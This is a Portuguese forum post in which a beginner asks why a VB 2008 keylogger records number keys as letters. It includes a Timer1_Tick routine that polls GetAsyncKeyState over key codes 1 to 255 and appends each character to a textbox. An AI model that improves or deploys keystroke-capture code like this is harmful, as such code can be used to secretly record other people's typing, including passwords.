Preciso de ajuda com meu keylogger feito com VB 2008 não esta pegando todas as teclas

Meu problema é que não esta pegando todas a teclas correta mente Quando digita as numéricas aparecem letras Deem uma olhada na linha do código "For i = 1 To 255" Como posso altera ali pra fazer pegar todas as teclas corretamente? Não manjo muito VB


Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

End Sub